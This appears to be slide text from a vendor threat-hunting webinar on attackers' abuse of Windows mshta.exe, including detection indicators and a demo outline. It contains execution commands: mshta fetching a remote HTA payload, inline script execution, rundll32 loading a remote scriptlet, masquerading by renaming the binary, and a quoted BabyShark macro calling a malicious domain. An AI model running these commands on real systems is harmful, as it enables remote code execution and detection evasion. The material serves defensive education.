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● Threat Hunting Via Notebook

● Demo + Hunters Time

● Q&A



Real Life Example



Real-Life Example

https://docs.google.com/file/d/1-OBLbQg6ObubBc7fqNqUpUemuz_WFrFi/preview


The Bigger Picture
Today’s Focus



What are LOLBins?
What is Mshta.exe?
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What are LOLBins?
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● Legitimate, pre-installed system binaries that are normally used for 
Windows-internal tasks, but also in use by legitimate applications as system 
utilities.

● LOLBins are commonly used by attackers as they are trustworthy, readily 
available, and often overlooked by security tools as they blend in with normal 
system activity to evade detection

Examples

LOLBin == Living off the Land Binary

Powershell.exe WMIC.exe Wscript.exe Mshta.exe

certutil.exe regsvr32.exe bitsadmin.exe Rundll32.exe



What Is Mshta.exe?
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● Mshta is a windows utility for executing Microsoft HTML Application (HTA)

● It can also execute Javascript and VBscript 

● HTA content can be loaded and executed from:

○ File path

○ URL

○ Inline HTA content in the command line

● Mshta is attractive to adversaries both in the early and latter stages of an infection 

because it enables them to proxy the execution of arbitrary code through a 

trusted utility.



HTML vs HTA
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Key differences:

● .HTML
○ Used to generate the user interface
○ Scripting languages inside are used for the program logic (browser)
○ .html files are set to run in the browser (Chrome, Firefox, Edge, etc)

● .HTA
○ Executes without browsers security boundaries
○ Considered a "fully trusted" application.
○ .hta files can be loaded and executed by MSHTA.exe



HTML Application Example



Default Applications



Execution Forms
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Loading HTA Content From A File
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Here’s an example of a simple HTA file evilfile.hta

<html>
<head>

<HTA:APPLICATION ID="AxonTest">
<script language="jscript">
        var c = "cmd.exe /c calc.exe"; 
        new ActiveXObject('WScript.Shell').Run(c);
</script>

</head>
<body>
<script>self.close();</script>
</body>

</html>



Wscript.shell
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Specifying A File
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The most convenient way of execution - running an HTA file

mshta.exe C:\Users\netanel.g\Desktop\evilfile.hta

mshta.exe \\Netanel-PC\Share\D$\evilfile.hta

mshta.exe C:\Users\netanel.g\Desktop\my-poem.txt:malicious.hta

HTA content can also be loaded from Alternative Data Streams (ADS) on NTFS file systems



Loading HTA Content Online
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HTA content can also be specified by URL

It will download a remote payload and place it in the cache folder (for example - 
%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)

mshta.exe https://raw.githubusercontent.com/ma1337ious/payload.hta



Run HTA From An Inline Command Line

mshta.exe "
about:
<hta:application>
<script language="VBScript">

Close(Execute("CreateObject(""Wscript.Shell"").Run(""calc"")")
</script>"

mshta.exe "
javascript:
a=new ActiveXObject("WScript.Shell");
a.Run("calc;%20exit",0,true);close();"

Content can be loaded and executed directly from the command line



Use Rundll32.exe
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rundll32.exe javascript:
"\..\mshtml.dll,RunHTMLApplication";
document.write();
GetObject("script:https://github.com/ma1337ios/mshta.sct")

HTA content can also be loaded and execute by calling the RunHTMLApplication from 
the DLL file c:\Windows\System32\mshtml.dll that supports how mshta.exe operates.



Masqueraded Mshta.exe Name
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Copy C:\Windows\System32\mshta.exe C:\Users\Netanel\System32\notepad.exe

C:\Users\Netanel\System32\notepad.exe C:\Users\Netanel\System32\poem.txt

Like all binaries, an adversary may copy Mshta.exe to a different directory rename it with 
a less suspicious name



Examples Seen In The Wild



Legitimate Runs

mshta.exe "C:\Program Files\HP\HP DeskJet 3830 series\Bin\HPSolutionsPortal.hta"  
-data_folder="C:\ProgramData\HP\HP DeskJet 3830 series\HPUDC\CN0118Q5J10785_NW\"



Suspicious Runs

"C:\WINDOWS\system32\mshta.exe"
 C:\Users\SOMEONE\AppData\Local\Temp\TeamViewer\7.hta



Suspicious Runs

mshta  VBScript:Execute("
Set a=CreateObject(""WScript.Shell"")
:Set b=a.CreateShortcut(a.SpecialFolders(""Desktop"") & ""\Outlook.lnk"")
:b.TargetPath=""C:\ProgramData\Microsoft\Windows\Start 

Menu\Programs\Outlook.lnk""
:b.WorkingDirectory=""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\""
:b.Save
:close")



APT32 - Vietnam
 
Mshta.exe Execution Via Scheduled Tasks

Research by Cybereason - 
https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf

https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf


North Korean campaigns

BabyShark Malware

Sub AutoOpen()

Shell ("mshta https://tdalpacafarm[.]com/files/kr/contents/Vkggy0.hta")

End Sub

Research by Unit 42 Palo Alto - 
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/

https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/


Let’s Hunt
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What To Look For

• LOLBin Binaries - Mshta.exe,  Rundll32.exe (loading mshtml.dll)

• Alarming Artifacts

ー VBA system-related objects and functions

■ CreateObject("WScript.Shell")

■ Run()

■ ReadReg()\WriteReg()

ー Javascript system-related objects and functions

■ ActiveXObject("WScript.Shell")

■ eval()

ー Inline system commands

■ Powershell -nop calc.exe
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What To Look For

• More Alarming Artifacts

ー URLs

ー Obfusc4tion5 or enc0ded cOmmANdS

ー HTA Files loaded from suspicious directories

■ C:\Users\public\*

■  C:\Users\<username>\AppData\Local\Temp

ー Rundll32.exe [...] mshtml,RunHTMLApplication - Always suspicious



Bottom-up

Malicious activities by Mshta.exe can be looked for from spawned activities side

ー Child processes

ー Network Traffic

ー Registry Modifications

ー File activities

ー New Services Registration \ Initiation

ー New Scheduled tasks \ Initiation

ー Module loads



Threat Hunting
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Back To The Demo
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Receiving An Email



Opening The Attachment



Opening The LNK file



Suspecting The Attachment



Finding Mshta



Reading The Gist 



Analyzing



Hunters Time
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Key Takeaways
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● Mshta.exe is a very popular LOLBin that attackers utilize to execute arbitrary code

● Hunting malicious Mshta.exe can be done from two directions

○ Mshta execution ⇔ Spawned Mshta activities

● Investigation flow as we performed can be used to investigate other LOLBins abuse

● Hunters detection and auto-instigation can help significantly in handling attacks 

involving malicious Mshta executions



Links & Resources
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● https://lolbas-project.github.io/lolbas/Binaries/Mshta/

● https://redcanary.com/threat-detection-report/techniques/mshta/

● https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.005/T1218.005.md

https://lolbas-project.github.io/lolbas/Binaries/Mshta/
https://redcanary.com/threat-detection-report/techniques/mshta/
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.005/T1218.005.md


Q&A
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THANK YOU!
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